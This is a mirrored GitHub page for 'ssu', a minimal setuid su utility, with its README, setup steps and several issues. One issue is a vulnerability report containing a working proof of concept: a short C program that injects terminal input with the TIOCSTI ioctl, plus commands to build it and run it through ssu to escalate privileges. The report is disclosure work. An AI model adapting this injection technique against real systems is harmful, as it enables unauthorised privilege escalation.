Giter Club home page Giter Club logo

ssu's Introduction

ssu

Extremely simple su utility

Dependencies

  • C99 compiler (gcc, clang, tcc, cproc, ...) (build time)
  • POSIX make (gmake, bmake, smake, pdpmake, ...) (build time)
  • POSIX libc + initgroups(3) (musl libc, glibc, *BSD libc, ...)

Installation

# pass CC=cc macro if c99 is not available
make

# by default, only users in the wheel group can elevate privileges.
# to change the group, pass BINGRP=grp macro, where 'grp' is a desirable group.
#
# you must have appropriate privileges to run this command.
make PREFIX=/usr install

Usage

Instead of using a config file, ssu offloads authentication mechanism to the kernel by using unix permissions, which makes it simple and secure. However simplicity comes with a cost and such mechanism is not flexible at all; it is completely limited to the unix permissions. Therefore, ssu is only good for those who don't need complicated setups.

Here is an example how to setup ssu for a specific group(you must be root to run these commands):

# run 'id -gn' to see your current group.
# change 'me' to that group.
chown root:me /path/to/ssu

# allow your group to execute suid ssu and thus elevate privileges.
#
# extra(4) - setuid
# owner(7) - read, write, exec
# group(5) - read, exec
# other(4) - read
chmod 4754 /path/to/ssu

Note

While using ssu, you may encounter weird errors like 'invalid option'. In order to fix them, set POSIXLY_CORRECT environment variable or guard command-line arguments with '--'.

Example with ls:

POSIXLY_CORRECT=1 ssu ls -la /root
ssu -- ls -la /root

See also: https://wiki.musl-libc.org/functional-differences-from-glibc.html

ssu's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ssu's Issues

Help: How to build?

I came here looking for a simple alternative to sudo/doas and I don't know how to get the dependencies at all :(

[Git master] Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX

Hi!

I believe that ssu is vulnerabily to privilege escalation using ioctls TIOCSTI and TIOCLINUX. Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://github.com/illiliti/ssu
$ cd ssu/
$ git rev-parse HEAD  # 606a96b542bb16bd1f4c20058477994f75186fc9
$ make
$ sudo chown root:root ./ssu
$ sudo chmod u+s ./ssu
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./ssu -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

  • This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.
  • ttyjack allows playing with TIOCSTI and TIOCLINUX comfortably.
  • Of the three known options for counter measures, use of a PTY is currently considered the best solution.
  • For a list of other software known affected by this issue please see https://github.com/hartwork/antijack#related-cves-not-mine .
  • The code above is inspired by containers/bubblewrap#142 .

Best, Sebastian

Unable to run commands with hyphens

Whenever I run a command with a hyphen, it tells me I used the command wrong, for example, here, I ran ssu neofetch -v:

ssu: invalid option -- '-'
usage: ssu [-p] [-u user] -s
       ssu [-p] [-u user] -e file...
       ssu [-p] [-u user] command [args...]

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.